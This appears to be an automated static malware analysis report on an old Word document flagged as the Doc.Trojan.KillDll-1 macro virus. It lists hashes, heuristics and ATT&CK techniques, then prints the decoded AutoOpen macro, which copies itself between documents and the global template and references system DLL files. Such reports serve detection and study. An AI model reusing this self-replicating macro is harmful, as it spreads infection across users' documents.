Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 700e1f19df39cd5b…

MALICIOUS

Office (OLE)

26.5 KB Created: 2001-08-07 06:59:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0cfe033e9c63f92ac25ea155fb46b860 SHA-1: 8788003f51357951522f0b923510b53b58e4fff1 SHA-256: 700e1f19df39cd5bd591244ddac0ea32ba01ea331b1ebae079e686a1ba6377fd
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is designed to copy itself to the global template and then attempts to delete files matching the pattern 'C:\WINDOWS\SYSTEM\*.D??'. This indicates a malicious intent to spread and potentially disrupt system files.

Heuristics 4

  • ClamAV: Doc.Trojan.KillDll-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.KillDll-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 864 bytes
SHA-256: f27e62ee3f550b3d8b8e5b17b3a5c5e28096e0696340e15861ca3e0cd7b9b979
Detection
ClamAV: Doc.Trojan.KillDll-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim source$
Dim target$
Dim fname$
Dim del$
    source$ = WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)) + ":AutoOpen"
    target$ = WordBasic.[FileName$]() + ":AutoOpen"
    fname$ = WordBasic.[FileName$]()
    WordBasic.FileSaveAs Name:=fname$, Format:=1
    If (InStr(UCase(source$), "NORMAL.DOT") = 0) Then
            WordBasic.MacroCopy source$, "Global:AutoOpen"
    Else
            WordBasic.MacroCopy "Global:AutoOpen", target$
    End If
    del$ = WordBasic.[Files$]("C:\WINDOWS\SYSTEM\*.D??")
    
End Sub